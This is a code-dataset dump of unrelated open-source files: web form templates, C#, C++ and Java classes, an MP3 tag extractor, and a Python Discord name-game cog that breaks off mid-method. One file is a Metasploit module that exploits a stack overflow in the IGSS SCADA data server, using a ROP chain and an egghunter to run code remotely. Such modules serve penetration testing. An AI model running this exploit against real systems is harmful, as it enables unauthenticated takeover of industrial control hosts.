code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
@include('mage2-ecommerce::forms.text',['name' => 'name','label' => 'Name']) @include('mage2-ecommerce::forms.text',['name' => 'slug','label' => 'Slug']) @include('mage2-ecommerce::forms.textarea',['name' => 'content', 'label' => 'Content', 'attributes' => ['class' => 'ckeditor','id' => 'content']]) @include('mage2-ecommerce::forms.text',['name' => 'meta_title','label' => 'Meta Title']) @include('mage2-ecommerce::forms.text',['name' => 'meta_description','label' => 'Meta Description'])
peerrabe/laravel-ecommerce
modules/mage2/ecommerce/resources/views/admin/page/_fields.blade.php
PHP
gpl-3.0
596
<!doctype html> <!-- The DOCTYPE declaration above will set the --> <!-- browser's rendering engine into --> <!-- "Standards Mode". Replacing this declaration --> <!-- with a "Quirks Mode" doctype may lead to some --> <!-- differences in layout. --> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <!-- --> <!-- Consider inlining CSS to reduce the number of requested files --> <!-- --> <link type="text/css" rel="stylesheet" href="assistancePhone.css"> <!-- --> <!-- Any title is fine --> <!-- --> <title>Web Application Starter Project</title> <!-- --> <!-- This script loads your compiled module. --> <!-- If you add any GWT meta tags, they must --> <!-- be added before this line. --> <!-- --> <script type="text/javascript" language="javascript" src="assistancePhone/assistancePhone.nocache.js"></script> </head> <!-- --> <!-- The body can have arbitrary html, or --> <!-- you can leave the body empty if you want --> <!-- to create a completely dynamic UI. --> <!-- --> <body> <!-- OPTIONAL: include this if you want history support --> <iframe src="javascript:''" id="__gwt_historyFrame" tabIndex='-1' style="position:absolute;width:0;height:0;border:0"></iframe> <!-- RECOMMENDED if your web app will not function without JavaScript enabled --> <noscript> <div style="width: 22em; position: absolute; left: 50%; margin-left: -11em; color: red; background-color: white; border: 1px solid red; padding: 4px; font-family: sans-serif"> Your web browser must have JavaScript enabled in order for this application to display correctly. </div> </noscript> </body> </html>
pablodanielrey/phone
assistance/src/main/webapp/assistancePhone.html
HTML
gpl-3.0
2,214
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, IGSSdataServer.exe should automatically recover. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', #Initial discovery, poc 'Lincoln', #Metasploit 'corelanc0d3r <peter.ve[at]corelan.be>', #Rop exploit, combined XP SP3 & 2003 Server 'sinn3r', #Serious Msf style policing ], 'References' => [ ['CVE', '2011-1567'], ['OSVDB', '72353'], ['URL', 'http://aluigi.altervista.org/adv/igss_2-adv.txt'], ['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf'] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3/2003 Server R2 SP2 (DEP Bypass)', { 'Ret' => 0x1b77ca8c, #dao360.dll pivot 1388 bytes 'Offset' => 500 } ], ], 'Privileged' => false, 'DisclosureDate' => "Mar 24 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(12401) ], self.class) end def junk return rand_text(4).unpack("L")[0].to_i end def exploit eggoptions = { :checksum => false, :eggtag => 'w00t', :depmethod => 'virtualprotect', :depreg => 'esi' } badchars = "\x00" hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) #dao360.dll - pvefindaddr rop 'n roll rop_chain = [ 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b7681c4, # rop nop 0x1b72f174, # POP EAX # RETN 08 0xA1A10101, 0x1b7762a8, # ADD EAX,5E5F0000 # RETN 08 junk, junk, 0x1b73a55c, # XCHG EAX,EBX # RETN junk, junk, 0x1b724004, # pop ebp 0x1b72f15f, # &push esp # retn 8 0x1b72f040, # POP ECX # RETN 0x1B78F010, # writeable 0x1b7681c2, # xor eax,eax # retn 0x1b72495c, # add al,40 # mov [esi+4],eax # pop esi # retn 4 0x41414141, 0x1b76a883, # XCHG EAX,ESI # RETN 00 junk, 0x1b7785c1, # XOR EDX,EDX # CMP EAX,54 # SETE DL # MOV EAX,EDX # ADD ESP,8 # RETN 0C junk, junk, 0x1b78535c, # ADD EDX,ESI # SUB EAX,EDX # MOV DWORD PTR DS:[ECX+F8],EAX # XOR EAX,EAX # POP ESI # RETN 10 junk, junk, junk, junk, 0x1b7280b4, # POP EDI # XOR EAX,EAX # POP ESI # RETN junk, junk, junk, junk, 0x1b7681c4, # rop nop (edi) 0x90909090, # esi -> eax -> nop 0x1b72f174, # POP EAX # RETN 08 0xA1F50214, # offset to &VirtualProtect 0x1b7762a8, # ADD EAX,5E5F0000 # RETN 08 junk, junk, 0x1b73f3bd, # MOV EAX,DWORD PTR DS:[EAX] # RETN junk, junk, 0x1b76a883, # XCHG EAX,ESI # RETN 00 0x1b72f040, # pop ecx 0x1B78F010, # writeable (ecx) 0x1b764716, # PUSHAD # RETN ].pack('V*') header = "\x00\x04" #Size header << "\x01\x00\x34\x12" header << "\x0D" #Opcode header << "\x00\x00\x00\x00\x00\x00\x00" header << "\x01" #Flag header << "\x00\x00\x00" header << "\x01" #Command (ListAll) header << "\x00\x00\x00" header << rand_text(14) sploit = rop_chain sploit << "\x90" * 10 sploit << hunter sploit << rand_text(target['Offset'] - (sploit.length)) sploit << [target.ret].pack('V') sploit << egg sploit << rand_text(2000) connect print_status("Sending request...") sock.put(header + sploit) handler disconnect end end
cSploit/android.MSF
modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
Ruby
gpl-3.0
4,961
<script> $(function(){ var nik = {}; nik.results = [ <?php foreach($penduduk as $data){?> {id:'<?php echo $data['id']?>',name:"<?php echo $data['nik']." - ".($data['nama'])?>",info:"<?php echo ($data['alamat'])?>"}, <?php }?> ]; $('#nik').flexbox(nik, { resultTemplate: '<div><label>No nik : </label>{name}</div><div>{info}</div>', watermark: <?php if($individu){?>'<?php echo $individu['nik']?> - <?php echo spaceunpenetration($individu['nama'])?>'<?php }else{?>'Ketik no nik di sini..'<?php }?>, width: 260, noResultsText :'Tidak ada no nik yang sesuai..', onSelect: function() { $('#'+'main').submit(); } }); }); </script> <style> table.form.detail th{ padding:5px; background:#fafafa; border-right:1px solid #eee; } table.form.detail td{ padding:5px; } </style> <div id="pageC"> <table class="inner"> <tr style="vertical-align:top"> <td style="background:#fff;padding:5px;"> <div class="content-header"> </div> <div id="contentpane"> <div class="ui-layout-north panel"> <h3>Surat Keterangan Kurang Mampu</h3> </div> <div class="ui-layout-center" id="maincontent" style="padding: 5px;"> <table class="form"> <tr> <th>NIK / Nama</th> <td> <form action="" id="main" name="main" method="POST"> <div id="nik" name="nik"></div> </form> </tr> <form id="validasi" action="<?php echo $form_action?>" method="POST" target="_blank"> <input type="hidden" name="nik" value="<?php echo $individu['id']?>" class="inputbox required" > <?php if($individu){ //bagian info setelah terpilih?> <?php include("donjo-app/views/surat/form/konfirmasi_pemohon.php"); ?> <?php }?> <tr> <th>Nomor Surat</th> <td> <input name="nomor" type="text" class="inputbox required" size="12"/> <span>Terakhir: <?php echo $surat_terakhir['no_surat'];?> (tgl: <?php echo $surat_terakhir['tanggal']?>)</span> </td> </tr> <tr> <th>Keterangan</th> <td> <input name="keterangan" type="text" class="inputbox required" size="40"/> </td> </tr> <?php include("donjo-app/views/surat/form/_pamong.php"); ?> </table> </div> <div class="ui-layout-south panel bottom"> <div class="left"> <a href="<?php echo site_url()?>surat" class="uibutton icon prev">Kembali</a> </div> <div class="right"> <div class="uibutton-group"> <button class="uibutton" type="reset"><span class="fa fa-refresh"></span> Bersihkan</button> <button type="button" onclick="$('#'+'validasi').attr('action','<?php echo $form_action?>');$('#'+'validasi').submit();" class="uibutton special"><span class="fa fa-print">&nbsp;</span>Cetak</button> <?php if (SuratExport($url)) { ?><button type="button" onclick="$('#'+'validasi').attr('action','<?php echo $form_action2?>');$('#'+'validasi').submit();" class="uibutton confirm"><span class="fa fa-file-text">&nbsp;</span>Export Doc</button><?php } ?> </div> </div> </div> </form> </div> </td></tr></table> </div>
prihantosimbah/OpenSID-1
surat/surat_ket_kurang_mampu/surat_ket_kurang_mampu.php
PHP
gpl-3.0
2,806
using System.IO; using System.Runtime.Serialization; using WolvenKit.CR2W.Reflection; using FastMember; using static WolvenKit.CR2W.Types.Enums; namespace WolvenKit.CR2W.Types { [DataContract(Namespace = "")] [REDMeta] public class CAIDismountHorse : CAIRidingSubTree { public CAIDismountHorse(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name){ } public static new CVariable Create(CR2WFile cr2w, CVariable parent, string name) => new CAIDismountHorse(cr2w, parent, name); public override void Read(BinaryReader file, uint size) => base.Read(file, size); public override void Write(BinaryWriter file) => base.Write(file); } }
Traderain/Wolven-kit
WolvenKit.CR2W/Types/W3/RTTIConvert/CAIDismountHorse.cs
C#
gpl-3.0
667
/* Automatic JavaScript Invariants is a plugin for Crawljax that can be used to derive JavaScript invariants automatically and use them for regressions testing. Copyright (C) 2010 crawljax.com This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.crawljax.plugins.aji; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.apache.log4j.Logger; import org.mozilla.javascript.CompilerEnvirons; import org.mozilla.javascript.Context; import org.mozilla.javascript.Parser; import org.mozilla.javascript.RhinoException; import org.mozilla.javascript.ast.AstRoot; import org.owasp.webscarab.httpclient.HTTPClient; import org.owasp.webscarab.model.Request; import org.owasp.webscarab.model.Response; import org.owasp.webscarab.plugin.proxy.ProxyPlugin; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import com.crawljax.plugins.aji.executiontracer.JSExecutionTracer; import com.crawljax.util.Helper; /** * The JSInstrument proxy plugin adds instrumentation code to JavaScript files. * * @author Frank Groeneveld * @version $Id: JSModifyProxyPlugin.java 6161 2009-12-16 13:47:15Z frank $ */ public class JSModifyProxyPlugin extends ProxyPlugin { private static final Logger LOGGER = Logger.getLogger(JSModifyProxyPlugin.class.getName()); private List<String> excludeFilenamePatterns; private final JSASTModifier modifier; /** * Construct without patterns. * * @param modify * The JSASTModifier to run over all JavaScript. */ public JSModifyProxyPlugin(JSASTModifier modify) { excludeFilenamePatterns = new ArrayList<String>(); modifier = modify; } /** * Constructor with patterns. * * @param modify * The JSASTModifier to run over all JavaScript. * @param excludes * List with variable patterns to exclude. */ public JSModifyProxyPlugin(JSASTModifier modify, List<String> excludes) { excludeFilenamePatterns = excludes; modifier = modify; } /** * Adds some defaults to the list of files that should be excluded from modification. These * include: * <ul> * <li>jQuery</li> * <li>Prototype</li> * <li>Scriptaculous</li> * <li>MooTools</li> * <li>Dojo</li> * <li>YUI</li> * <li>All kinds of Google scripts (Adwords, Analytics, etc)</li> * <li>Minified JavaScript files with min, compressed or pack in the URL.</li> * </ul> */ public void excludeDefaults() { excludeFilenamePatterns.add(".*jquery[-0-9.]*.js?.*"); excludeFilenamePatterns.add(".*prototype.*js?.*"); excludeFilenamePatterns.add(".*scriptaculous.*.js?.*"); excludeFilenamePatterns.add(".*mootools.js?.*"); excludeFilenamePatterns.add(".*dojo.xd.js?.*"); excludeFilenamePatterns.add(".*yuiloader.js?.*"); excludeFilenamePatterns.add(".*google.*"); excludeFilenamePatterns.add(".*min.*.js?.*"); excludeFilenamePatterns.add(".*pack.*.js?.*"); excludeFilenamePatterns.add(".*compressed.*.js?.*"); } @Override public String getPluginName() { return "JSInstrumentPlugin"; } @Override public HTTPClient getProxyPlugin(HTTPClient in) { return new Plugin(in); } private boolean shouldModify(String name) { /* try all patterns and if 1 matches, return false */ for (String pattern : excludeFilenamePatterns) { if (name.matches(pattern)) { LOGGER.info("Not modifying response for " + name); return false; } } LOGGER.info("Modifying response for " + name); return true; } /** * This method tries to add instrumentation code to the input it receives. The original input is * returned if we can't parse the input correctly (which might have to do with the fact that the * input is no JavaScript because the server uses a wrong Content-Type header for JSON data) * * @param input * The JavaScript to be modified * @param scopename * Name of the current scope (filename mostly) * @return The modified JavaScript */ private synchronized String modifyJS(String input, String scopename) { if (!shouldModify(scopename)) { return input; } try { AstRoot ast = null; /* initialize JavaScript context */ Context cx = Context.enter(); /* create a new parser */ Parser rhinoParser = new Parser(new CompilerEnvirons(), cx.getErrorReporter()); /* parse some script and save it in AST */ ast = rhinoParser.parse(new String(input), scopename, 0); modifier.setScopeName(scopename); modifier.start(); /* recurse through AST */ ast.visit(modifier); modifier.finish(ast); /* clean up */ Context.exit(); return ast.toSource(); } catch (RhinoException re) { System.err.println(re.getMessage()); LOGGER.warn("Unable to instrument. This might be a JSON response sent" + " with the wrong Content-Type or a syntax error."); } catch (IllegalArgumentException iae) { LOGGER.warn("Invalid operator exception catched. Not instrumenting code."); } LOGGER.warn("Here is the corresponding buffer: \n" + input + "\n"); return input; } /** * This method modifies the response to a request. * * @param response * The response. * @param request * The request. * @return The modified response. */ private Response createResponse(Response response, Request request) { String type = response.getHeader("Content-Type"); if (request.getURL().toString().contains("?thisisanexecutiontracingcall")) { LOGGER.info("Execution trace request " + request.getURL().toString()); JSExecutionTracer.addPoint(new String(request.getContent())); return response; } if (type != null && type.contains("javascript")) { /* instrument the code if possible */ response.setContent(modifyJS(new String(response.getContent()), request.getURL().toString()).getBytes()); } else if (type != null && type.contains("html")) { try { Document dom = Helper.getDocument(new String(response.getContent())); /* find script nodes in the html */ NodeList nodes = dom.getElementsByTagName("script"); for (int i = 0; i < nodes.getLength(); i++) { Node nType = nodes.item(i).getAttributes().getNamedItem("type"); /* instrument if this is a JavaScript node */ if ((nType != null && nType.getTextContent() != null && nType .getTextContent().toLowerCase().contains("javascript"))) { String content = nodes.item(i).getTextContent(); if (content.length() > 0) { String js = modifyJS(content, request.getURL() + "script" + i); nodes.item(i).setTextContent(js); continue; } } /* also check for the less used language="javascript" type tag */ nType = nodes.item(i).getAttributes().getNamedItem("language"); if ((nType != null && nType.getTextContent() != null && nType .getTextContent().toLowerCase().contains("javascript"))) { String content = nodes.item(i).getTextContent(); if (content.length() > 0) { String js = modifyJS(content, request.getURL() + "script" + i); nodes.item(i).setTextContent(js); } } } /* only modify content when we did modify anything */ if (nodes.getLength() > 0) { /* set the new content */ response.setContent(Helper.getDocumentToByteArray(dom)); } } catch (Exception e) { e.printStackTrace(); } } /* return the response to the webbrowser */ return response; } /** * WebScarab plugin that adds instrumentation code. * * @author Frank Groeneveld */ private class Plugin implements HTTPClient { private HTTPClient client = null; /** * Constructor for this plugin. * * @param in * The HTTPClient connection. */ public Plugin(HTTPClient in) { client = in; } @Override public Response fetchResponse(Request request) throws IOException { Response response = client.fetchResponse(request); return createResponse(response, request); } } }
shauvik/crawljax-plugins
invarscope/javascript-invariants/src/main/java/com/crawljax/plugins/aji/JSModifyProxyPlugin.java
Java
gpl-3.0
8,868
/* Part of the NETLab Hub, which is part of the NETLab Toolkit project - http://netlabtoolkit.org Copyright (c) 2006-2013 Ewan Branda NETLab Hub is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. NETLab Hub is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with NETLab Hub. If not, see <http://www.gnu.org/licenses/>. */ package netlab.hub.processing.desktop; import java.io.File; import netlab.hub.core.Hub; import processing.core.PApplet; import controlP5.ControlEvent; /** * Applet that launches the Hub in a Processing environment. It is used * primarily for testing, but this code could be dropped into a * Processing sketch to launch the Hub. We use this Applet as the * launcher from Eclipse for development when we want to test the * Hub inside the Processing stack rather than as a bare Hub instance. * <p /> * This Applet simply dispatches all of its Hub functionality to a * HubRunner instance, which takes care of managing the Hub. */ @SuppressWarnings("serial") public class DevLauncherApplet extends PApplet { Hub hub; HubDesktopApplication app; public void setup() { frameRate(10); // Looping is needed for ControlP5 GUI, but 10 fps is plenty. // Create the Hub instance String base = System.getProperty("netlab.hub.base"); if (base == null) { base = sketchPath("."); } hub = new Hub(new File(base)); // Create the gui and attach it to the hub app = new HubDesktopApplication(hub, this); // Start the Hub in a new thread so that Processing can move on // and start calling the "draw" method during Hub init. new Thread(new Runnable() { public void run() { hub.start(); } }, "Hub-launcher").start(); } public void draw() { // We don't do anything here, but we need to loop in order for // the GUI can update the user interface and respond to events. background(0); } public void controlEvent(ControlEvent e) { app.controlEvent(e); } }
netlabtoolkit/hub
src/java/netlab/hub/processing/desktop/DevLauncherApplet.java
Java
gpl-3.0
2,365
#include "exception/ColorOutOfRangeException.h" #include <string> namespace Tales { ColorOutOfRangeException::ColorOutOfRangeException( const char* nameOfSourceFile__, int lineNum__, const std::string& source__, int invalidIndex__) : TalesException(nameOfSourceFile__, lineNum__, source__), invalidIndex_(invalidIndex__) { }; const char* ColorOutOfRangeException::what() const throw() { return "Tried to access color at invalid index"; } int ColorOutOfRangeException::invalidIndex() const { return invalidIndex_; } };
suppertails66/tales
libtales/src/exception/ColorOutOfRangeException.cpp
C++
gpl-3.0
599
package tmp.generated_xhtml; import cide.gast.*; import cide.gparser.*; import cide.greferences.*; import java.util.*; public class Content_h5_Choice134 extends Content_h5_Choice1 { public Content_h5_Choice134(Element_script element_script, Token firstToken, Token lastToken) { super(new Property[] { new PropertyOne<Element_script>("element_script", element_script) }, firstToken, lastToken); } public Content_h5_Choice134(Property[] properties, IToken firstToken, IToken lastToken) { super(properties,firstToken,lastToken); } public ASTNode deepCopy() { return new Content_h5_Choice134(cloneProperties(),firstToken,lastToken); } public Element_script getElement_script() { return ((PropertyOne<Element_script>)getProperty("element_script")).getValue(); } }
ckaestne/CIDE
CIDE_Language_XML_concrete/src/tmp/generated_xhtml/Content_h5_Choice134.java
Java
gpl-3.0
823
package dooooom.jmpd.data; import com.mpatric.mp3agic.*; import java.io.IOException; /** * REQUIRES THE com PACKAGE IN our src FOLDER (https://github.com/mpatric/mp3agic/tree/master/src/main/java) * * This class will carry out operations to extract diverse information from * the ID3 tag of a specified mp3 file. It will use functionalities from * the mp3agic package. * * */ public class MetadataExtractor { public MetadataExtractor() { } public static String extractArtistFrom(String filePath) /* * The extractArtistFrom method checks the ID3 version of the mp3 file and * extracts the artist's name from the MP3 file. */ { String artistName = null; try { Mp3File mp3File = new Mp3File(filePath); if (mp3File.hasId3v2Tag()) { ID3v2 id3v2Tag = mp3File.getId3v2Tag(); artistName = id3v2Tag.getArtist(); } else if (mp3File.hasId3v1Tag()) { ID3v1 id3v1Tag = mp3File.getId3v1Tag(); artistName = id3v1Tag.getArtist(); } else { System.err.print("[DEBUG] No ID3 tags found for " + filePath + ": "); } } catch (UnsupportedTagException e) { e.printStackTrace(); } catch (InvalidDataException e) { System.out.print("Invalid Data"); return " - Unknown Artist"; //e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } if(artistName == null) artistName = "Unknown Artist"; return artistName; } public static String extractTitleFrom(String filePath) /* * The extractNameFrom method checks the ID3 version of the mp3 file and * extracts the song title from the MP3 file. */{ String title = null; try { Mp3File mp3File = new Mp3File(filePath); if (mp3File.hasId3v2Tag()) { ID3v2 id3v2Tag = mp3File.getId3v2Tag(); title = id3v2Tag.getTitle(); } else if (mp3File.hasId3v1Tag()) { ID3v1 id3v1Tag = mp3File.getId3v1Tag(); title = id3v1Tag.getTitle(); } } catch (UnsupportedTagException e) { e.printStackTrace(); } catch (InvalidDataException e) { System.out.print("Invalid Data"); return " - Unknown Title"; //e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } if(title == null) { int lastSlash = filePath.lastIndexOf('\\'); if(filePath.lastIndexOf('/') > lastSlash) lastSlash = filePath.lastIndexOf('/'); title = filePath.substring(lastSlash + 1).replaceAll("\\.mp3$",""); } return title; } public static String extractAlbumFrom(String filePath) /* * The extractAlbumFrom method checks the ID3 version of the mp3 file and * extracts the artist's name from the MP3 file. */ { String albumName = null; try { Mp3File mp3File = new Mp3File(filePath); if (mp3File.hasId3v2Tag()) { ID3v2 id3v2Tag = mp3File.getId3v2Tag(); albumName = id3v2Tag.getAlbum(); } else if (mp3File.hasId3v1Tag()) { ID3v1 id3v1Tag = mp3File.getId3v1Tag(); albumName = id3v1Tag.getAlbum(); } } catch (UnsupportedTagException e) { e.printStackTrace(); } catch (InvalidDataException e) { System.out.print("Invalid Data"); return " - Unknown Album"; //e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { if(albumName.equals(null)) albumName = "Unknown Album"; } catch (Exception e) {albumName = "Unknown Album"; //e.printStackTrace(); } return albumName; } public static Double extractLengthFrom(String filePath) /* * The extractLengthFrom method checks the length of the track * and returns a double that represents the length */ { double trackLength = 0.0; Mp3File mp3File; try { mp3File = new Mp3File(filePath); trackLength = mp3File.getLengthInSeconds(); } catch (UnsupportedTagException e) { // e.printStackTrace(); } catch (InvalidDataException e) { // e.printStackTrace(); } catch (IOException e) { // e.printStackTrace(); } if (trackLength < 0) trackLength = 0.0; return trackLength; } public static String extractTrackFrom(String filePath) /* * The extractTrackFrom method checks the ID3 version of the mp3 file and * extracts the track number from the MP3 file. */ { String track = null; try { Mp3File mp3File = new Mp3File(filePath); if (mp3File.hasId3v2Tag()) { ID3v2 id3v2Tag = mp3File.getId3v2Tag(); track = id3v2Tag.getTrack(); } else if (mp3File.hasId3v1Tag()) { ID3v1 id3v1Tag = mp3File.getId3v1Tag(); track = id3v1Tag.getTrack(); } } catch (UnsupportedTagException e) { e.printStackTrace(); } catch (InvalidDataException e) { System.out.println("Invalid Data"); return " - Unknown Track Number"; //e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { if(track.equals(null)) track = "Unknown Track number"; } catch (Exception e) {track = "Unknown Track number"; //e.printStackTrace(); } return track; } }
DOOOOOM/jmpd-shared
src/dooooom/jmpd/data/MetadataExtractor.java
Java
gpl-3.0
5,268
"""Namegame, where you try to remember a team number starting with the last number of the previous played team""" import asyncio import gzip import pickle import traceback from collections import OrderedDict from functools import wraps import discord import tbapi from discord.ext.commands import has_permissions from fuzzywuzzy import fuzz from dozer.bot import DOZER_LOGGER from ._utils import * from .. import db SUPPORTED_MODES = ["frc", "ftc"] def keep_alive(func): """Keeps the wrapped async function alive; functions must have self and ctx as args""" @wraps(func) async def wrapper(self, ctx, *args, **kwargs): """Wraps namegame""" while True: try: return await func(self, ctx, *args, **kwargs) except Exception as e: # CancelledErrors are normal part of operation, ignore them if isinstance(e, asyncio.CancelledError): return # panic to the console, and to chat DOZER_LOGGER.error(traceback.format_exc()) await ctx.send(f"```Error in game loop:\n{e.__class__.__name__}: {e}```") return wrapper def game_is_running(func): """Check if there's an active game in a channel""" @wraps(func) async def wrapper(self, ctx, *args, **kwargs): """Wraps the checker""" if ctx.channel.id not in self.games: await ctx.send(f"There's not a game going on! Start one with `{ctx.prefix}ng startround`") return return await func(self, ctx, *args, **kwargs) return wrapper class NameGameSession(): """NameGame session object""" def __init__(self, mode): self.running = True self.pings_enabled = False self.players = OrderedDict() self.removed_players = [] self.picked = [] self.mode = mode self.time = 60 self.vote_time = -1 self.number = 0 self.current_player = None self.last_name = "" self.last_team = 0 self.state_lock = None self.turn_msg = None self.turn_embed = None self.turn_task = None self.turn_count = 0 self.pass_tally = 0 self.fail_tally = 0 self.vote_correct = False self.vote_player = None self.vote_msg = None self.vote_embed = None self.vote_task = None def create_embed(self, title="", description="", color=discord.Color.blurple(), extra_fields=[], start=False): """Creates an embed.""" v = "Starting " if start else "Current " embed = discord.Embed() embed.title = title embed.description = description embed.color = color embed.add_field(name="Players", value=", ".join([p.display_name for p in self.players.keys()]) or "n/a") embed.add_field(name=v + "Player", value=self.current_player) embed.add_field(name=v + "Number", value=self.number or "Wildcard") embed.add_field(name="Time Left", value=self.time) for name, value in extra_fields: embed.add_field(name=name, value=value) return embed def check_name(self, ctx, team, name): """Checks the name of the team""" tba_parser = ctx.cog.tba_parser ftc_teams = ctx.cog.ftc_teams actual_name = "" if self.mode == "frc": # check for existence team_data = tba_parser.get_team(team) try: getattr(team_data, "Errors") except tbapi.InvalidKeyError: """There is no error, so do nothing""" else: return -1 actual_name = team_data.nickname elif self.mode == "ftc": if team not in ftc_teams: return -1 actual_name = ftc_teams[team] self.last_name = actual_name self.last_team = team return fuzz.ratio(actual_name.lower(), name.lower()) def next_turn(self): """Processes the next turn transition""" self.turn_count += 1 self.pass_tally = 0 self.fail_tally = 0 self.time = 60 players = list(self.players.keys()) # set the current player to the next handle in the list self.current_player = players[(players.index(self.current_player) + 1) % len(players)] # self._idx = (self._idx + 1) % len(self.players) def strike(self, player): """Gives players strikes""" self.players[player] += 1 if self.players[player] >= 3 or len(self.players) == 1: self.removed_players.append(player) self.players.pop(player) return True return False def check_win(self): """Checks if someone won the game""" return len(self.players) == 1 and self.turn_count > 6 def get_picked(self): """Gets the picked teams""" return ", ".join(map(str, sorted(self.picked))) or "No Picked Teams" class NameGame(Cog): """Namegame commands""" def __init__(self, bot): super().__init__(bot) with gzip.open("ftc_teams.pickle.gz") as f: raw_teams = pickle.load(f) self.ftc_teams = {team: data['seasons'][0]['name'] for (team, data) in raw_teams.items()} self.games = {} tba_config = bot.config['tba'] self.tba_parser = tbapi.TBAParser(tba_config['key'], cache=False) @group(invoke_without_command=True) async def ng(self, ctx): """Show info about and participate in a robotics team namegame. Run the help command on each of the subcommands for more detailed help. List of subcommands: ng info ng startround ng addplayer ng pick ng drop ng skip ng gameinfo """ await self.info.callback(self, ctx) ng.example_usage = """ `{prefix}ng` - show a description on how the robotics team namegame works. """ @ng.command() @bot_has_permissions(embed_links=True) async def info(self, ctx): """Show a description of the robotics team name game and how to play.""" game_embed = discord.Embed() game_embed.color = discord.Color.magenta() game_embed.title = "How to play" game_embed.description = "This is a very simple little game where players will name a team number and name that " \ "starts with the last digit of the last named team. Some more specific rules are below:" game_embed.add_field(name="No Double Picking", value="Only pick teams once.") game_embed.add_field(name="Three Strikes, You're Out!", value="You are only allowed three strikes, which are given by picking out of turn, " "getting the team name wrong, picking a non existant team, being voted that your " "pick is incorrect, not picking in time, or picking a already picked team.") game_embed.add_field(name="No Cheatsy Doodles", value="No looking up teams on TBA, TOA, VexDB, or other methods, that's just unfair.") game_embed.add_field(name="Times up!", value="You have 60 seconds to make a pick, or you get skipped and get a strike.") game_embed.add_field(name="Shaking Things Up", value="Any team number that ends in a 0 mean that the next player has a wildcard, " "and can pick any legal team.") game_embed.add_field(name="Pesky Commands", value=(f"To start a game, type `{ctx.prefix}ng startround` and " f"mention the players you want to play with. " f"You can add people with `{ctx.prefix}ng addplayer <user_pings>`. " f"When it's your turn, type `{ctx.prefix}ng pick <team> " f"<teamname>` to execute your pick. " f"If you need to skip, typing `{ctx.prefix}ng skip` gives you" f" a strike and skips your turn." f"You can always do `{ctx.prefix}ng gameinfo` to get the " f"current game status. " f"If you ever need to quit, running `{ctx.prefix}ng drop` " f"removes you from the game. " f"For more detailed command help, run `{ctx.prefix}help ng.`")) game_embed.add_field(name="Different Game Modes", value=f"You can play the name game with FTC teams too! To start a game playing with " f"FTC teams, run `{ctx.prefix}ng startround ftc`") await ctx.send(embed=game_embed) info.example_usage = """ `{prefix}ng help` - show a description on how the robotics team namegame works """ @ng.group(invoke_without_command=True) async def config(self, ctx): """Configuration for namegame""" await ctx.send(f"""`{ctx.prefix}ng config` reference: `{ctx.prefix}ng config defaultmode [mode]` - set tbe default game mode used when startround is used with no arguments `{ctx.prefix}ng config setchannel [channel_mention]` - set the channel that games are allowed to be run in `{ctx.prefix}ng config clearsetchannel` - clear the set channel for games""") @config.command() @has_permissions(manage_guild=True) async def defaultmode(self, ctx, mode: str = None): """Configuration of the default game mode (FRC, FTC, etc.)""" query = await NameGameConfig.get_by(guild_id=ctx.guild.id) config = query[0] if len(query) == 1 else None if mode is None: mode = SUPPORTED_MODES[0] if config is None else config.mode await ctx.send(f"The current default game mode for this server is `{mode}`") else: if mode not in SUPPORTED_MODES: await ctx.send( f"Game mode `{mode}` not supported! Please pick a mode that is one of: `{', '.join(SUPPORTED_MODES)}`") return if config is None: config = NameGameConfig(guild_id=ctx.guild.id, channel_id=None, mode=mode, pings_enabled=False) await config.update_or_add() else: config.mode = mode await config.update_or_add() await ctx.send(f"Default game mode updated to `{mode}`") @config.command() @has_permissions(manage_guild=True) async def setchannel(self, ctx, channel: discord.TextChannel = None): """Sets the namegame channel""" query = await NameGameConfig.get_by(guild_id=ctx.guild.id) config = query[0] if len(query) == 1 else None if channel is None: if config is None or config.channel_id is None: await ctx.send( f"There is no currently set namegame channel.\nTo set a channel, run `{ctx.prefix}ng config " f"setchannel [channel_mention]`") else: 